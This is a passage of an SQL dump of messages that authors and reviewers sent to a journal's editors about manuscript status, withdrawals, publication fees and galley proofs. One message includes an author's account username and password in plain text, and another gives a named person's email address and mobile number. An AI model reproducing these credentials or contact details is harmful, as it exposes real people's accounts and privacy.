not pay this charge because I am from low income country(Ethiopia) therefore please kindly asked you to published with waiver free( with no charge) like others journals do,\nif not possible I kindly notifying you, I will submit the manuscript to other journal.</span></p>\r\n<p><span>thank you in advance&nbsp;</span></p>\r\n<p><span>Daniel Tarekegn</span></p>',50,7393,1,'2021-02-16 07:45:19',1),(650,'Payment','<p>Dear Editor,</p>\r\n<p>When I submitted the article I did not know there was a charge. Since I have no funds I have withdrawn my paper. I responded to several emails that were sent to me, and I clearly indicated that I\ndo not want to publish this article in your journal.&nbsp; However, I continue to get emails. Please take my pepr out.</p>\r\n<p>Sincerely</p>\r\n<p>Arun Angelo Patil. MD</p>',922,8394,1,'2021-02-16 17:03:36',1),(651,'Status of my manuscript','Hello\r\n\r\n\r\n\r\nI want to know the status of my manuscript. ',85,8459,1,'2021-02-17 05:13:46',1),(652,'Status of my manuscript','Hello\r\n\r\n\r\n\r\nI want to know the status of my manuscript. ',85,8459,1,'2021-02-17 05:14:00',1),(653,'Status of my manuscript','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to know whether my paper is accepted?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-17 10:41:52',1),(655,'The Effect of Oligoclonal Bands in\nPatients with Multiple Sclerosis','<p><span>Dear Editor ,</span></p>\r\n<p><span>We would like to&nbsp;to retract our article.</span></p>\r\n<p><span>We kindly request you to do what is necessary in this regard.</span></p>\r\n<p><span>Best regards.</span></p>',75,8331,1,'2021-02-19 06:53:24',1),(656,'The role of visual evoked potentials in\nthe differential diagnosis of\ndemyelinating diseases','<p><span>Dear Editor ,</span></p>\r\n<p><span>We would like to&nbsp;to retract our article.</span></p>\r\n<p><span>We kindly request you to do what is necessary in this regard.</span></p>\r\n<p><span>Best regards.</span></p>',75,8331,1,'2021-02-19 06:54:27',1),(658,'Status of my manuscript','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to know when will I receive the gallery proof?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-19 12:50:37',1),(659,'Submission','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to know the status of my manuscript.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-20 06:59:52',1),(660,'Reviewer','<p>I am not able to review this manuscript. I am retired, and not competent.</p>\r\n<p>&nbsp;</p>\r\n<p>OP Rekvig</p>',85,16673,3,'2021-02-20 07:17:38',1),(662,'Status of my manuscript','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>The processing has reached which stage?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-22 08:31:05',1),(663,'DNA barcoding of mountain crabs\n(Potamidae) from Phetchabun mountain\nranges of Thailand: The first report of\nendemic and endangered species','<p>Dear ,Editor of&nbsp;<strong>Biochemistry &amp; Molecular Biology Journal</strong></p>\r\n<p>My research articles are acceptted and then what will I continue to do? I would like to thank so much.</p>\r\n<p><br /><br /><span>Yours sincerely,</span></p>\r\n<p>Username :&nbsp;<strong>bungorn</strong><br />Password :&nbsp;<strong>57RLEJWM</strong></p>',370,8261,1,'2021-02-23 10:15:26',1),(664,'Payment receipt','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>I have send you the receipt.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-23 16:34:46',1),(665,'Cancel submission','<p>Good day. I would like to cancel my submission, it was a mistake sending it. I hope to submit another one in the future.&nbsp;</p>\r\n<p>My apologies for this misunderstanding.</p>',91,8798,1,'2021-02-25 22:49:25',1),(666,'Article','<p>Hello</p>\r\n<p>My article will be published online when?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>',85,8459,1,'2021-02-27 13:09:45',1),(667,'Manuscript ID IPJUS-21-7204','<p>Dear Editor,</p>\r\n<p>I have submitted the revised manuscript (<span>IPJUS-21-7204</span>) for possible publication but didnot get any update till now. Please update the current status of my manuscript.<span><br\n/></span></p>\r\n<p>Thanking you,</p>\r\n<p>Dr. Brijesh</p>',319,8477,1,'2021-02-28 13:20:13',1),(668,'No received any response of my Research\narticle (manuscript no. ajpsky-21-7148)','<p>R/sir</p>\r\n<p>I have submitted my research paper on 20 th jan.21,we did not receive any response.</p>\r\n<p>Kindly let me know the status of my paper.</p>\r\n<p>Thanks with Regards</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',101,8418,1,'2021-03-01 08:12:25',1),(669,'No received any response of my Research\narticle (manuscript no. ajpsky-21-7148)','<p>R/sir</p>\r\n<p>I have submitted my research paper on 20 th jan.21,we did not receive any response.</p>\r\n<p>Kindly let me know the status of my paper.</p>\r\n<p>Thanks with Regards</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',101,8418,1,'2021-03-01 08:13:03',1),(670,'Galley proof and invoice','<p>Dear Editor,</p>\r\n<p>Thank you for accepting the manuscript. I am very appreciative of your prompt response.</p>\r\n<p>However, I am still awaiting the galley proof and invoice, which I should have received 48-72 hours after the acceptance date, as stated in your email.</p>\r\n<p>I would be grateful if you would resolve the issue at your earliest conveninece.</p>\r\n<p>Yours sincerely,</p>\r\n<p>Yu Shengyuan</p>',75,8379,1,'2021-03-01 09:23:48',1),(671,'withdraw','<p>kindly withdraw the manuiscript ...appreciating your support</p>',248,8718,1,'2021-03-02 11:39:30',1),(672,'Article','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to add 2 more authors to my submission.&nbsp;</p>\r\n<p>Dr. Islamuddin shiekh</p>\r\n<p>Dr. Syed Akram Hussain</p>\r\n<p>&nbsp;</p>',437,8886,1,'2021-03-03 12:46:33',1),(673,'decline/ no time','<p>Apologies..I am soo busy these days that I am struggling.&nbsp;</p>\r\n<p>best regards&nbsp;</p>\r\n<p>fernando&nbsp;</p>\r\n<p>&nbsp;</p>',0,16929,3,'2021-03-03 12:47:14',0),(674,'Revison','<p>Article to be revised as per author comments</p>',21,32,2,'2021-03-04 05:28:15',1),(676,'Decline Review Invitation','<p>I will decline to evaluate this article because I am on vacation until March 10th. I hope to be able to contribute to the newspaper in the future.</p>',0,9286,3,'2021-03-05 12:34:32',0),(677,'For payment of research paper','<p>On the behalf of your mail which I received on third March ,I am waiting for forther information regarding payment for paper publication</p>\r\n<p>With regards</p>\r\n<p>Meenakshi Sharma</p>\r\n<p>Research scholar</p>\r\n<p>Govt college ,Kota Rajasthan</p>\r\n<p>&nbsp;</p>',101,8418,1,'2021-03-06 12:03:16',1),(678,'decline submussion','<p>Dear editor, I you write this e-mail to inform you that your journal have not an official impact factor (Thomson-Reuters) for this reson i decided to decline my two submussion in your journal</p>\r\n<p>best regards</p>\r\n<p>WalidSAIBI</p>',370,8847,1,'2021-03-07 12:59:31',1),(679,'Confirmation of Review Submission','<p>Dear Ms. Anghel:</p>\r\n<p>Could you please confirm that you/the system received my submitted review/comments for manuscript ipjicc-21-7621, as upon clicking the \"submit\" button after entering in my review of the manuscript\nthe webpage proceeded on logging me out?&nbsp;</p>\r\n<p>Thanks,</p>\r\n<p>Kenneth S. Hettie, PhD</p>',168,17030,3,'2021-03-07 19:43:16',1),(680,'revised invoice','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>We have sent you the corrected galley proofs, and also made a request to change the billing address. The address should be: &nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Xian Janssen Pharmaceutical Ltd</strong></p>\r\n<p><strong>18/F, Tower 3, China Central Place</strong></p>\r\n<p><strong>No. 77, Jian Guo Road</strong></p>\r\n<p><strong>Chaoyang District, Beijing, China</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Email: jyang128@its.jnj.com</strong></p>\r\n<p><strong>Mobile: +86-18010047761</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>&nbsp;We would be grateful if you would send me the revised invoice at your earliest convenience, so that we could make the payment within one week&rsquo;s time.</p>\r\n<p>&nbsp;</p>\r\n<p>Yours sincerely,</p>\r\n<p>&nbsp;</p>\r\n<p>Yu Shengyuan</p>',75,8379,1,'2021-03-08 09:31:41',1),(681,'Review process','<p>Hello</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I want to know the review process is completed?&nbsp;</p>\r\n<p>Thank you</p>',437,8886,1,'2021-03-09 08:28:30',1),(682,'Station my submission','<p>Kindly would like to check on the status of my submission so I can plan on the next course of action</p>',835,8924,1,'2021-03-11 06:01:12',1),(683,'Review Article ','<p>Dear Editor<br />I have reviewed article number 7531, \"Determinants of exclusive breastfeeding practice in Southern Ethiopia.\" Hopefully my work can be well understood by the author. Thank you for\nbeing given this trust.</p>\r\n<p>Sirajuddin</p>',0,17160,3,'2021-03-12 10:06:40',0),(684,'Study of non-native fish in the rivers\nof Tehran province','<p>Dear editor,</p>\r\n<p>whould you help me that how can I find my peaper if you publish it?</p>',167,8408,1,'2021-03-12 12:48:29',1),(686,'iprjpp-21-7515	Nikolai Ivanovich\nVavilov: Commemorating\nDiversity’s Geographer','<p>Hello, is it possible to have an update as to how the reviews are going for the above Paper? It would be most helpful to know if that is not an impostition,</p>\r\n<p>&nbsp;</p>\r\n<p>thanks, Joel Cohen&nbsp;</p>',835,8769,1,'2021-03-13 04:34:54',1),(687,'Why this article is not published yet?','<p>Dear sir,</p>\r\n<p>This article was accepted long back&nbsp; and charges were paid in December 2020. Why it is&nbsp; not published yet? It is very strange for me that your process is very slow. Below is the\nscreenshot of invoice . I paid for it long back.</p>\r\n<p>Plesae expedite the process of publishing.</p>\r\n<p>&nbsp;</p>\r\n<p>Regards.</p>\r\n<p><img\nsrc=\"data:image/png;base64,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